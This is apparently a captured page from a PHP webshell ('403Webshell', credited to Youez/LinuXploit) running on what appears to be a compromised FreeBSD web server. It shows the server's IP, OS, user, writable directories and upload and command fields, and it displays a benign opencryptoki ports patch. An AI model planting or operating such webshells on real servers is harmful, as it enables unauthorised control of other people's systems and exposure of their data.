403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/opencryptoki/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/opencryptoki/files/patch-usr-sbin-pkcstok_migrate-pkcstok_migrate.c
--- usr/sbin/pkcstok_migrate/pkcstok_migrate.c.orig	2022-04-25 11:04:51 UTC
+++ usr/sbin/pkcstok_migrate/pkcstok_migrate.c
@@ -20,7 +20,11 @@
 #include <errno.h>
 #include <getopt.h>
 #include <memory.h>
+#if !defined(__FreeBSD__)
 #include <linux/limits.h>
+#else
+#include <limits.h>
+#endif
 #include <openssl/evp.h>
 #include <string.h>
 #include <stdio.h>
@@ -2239,7 +2243,7 @@ static CK_RV change_owner(char *dir)
     CK_RV ret;
 
     /* Set group owner */
-    grp = getgrnam("pkcs11");
+    grp = getgrnam(PKCS11GROUP);
     if (grp) {
         if (chown(dir, -1, grp->gr_gid)) {
             ret = CKR_FUNCTION_FAILED;

Youez - 2016 - github.com/yon3zu
LinuXploit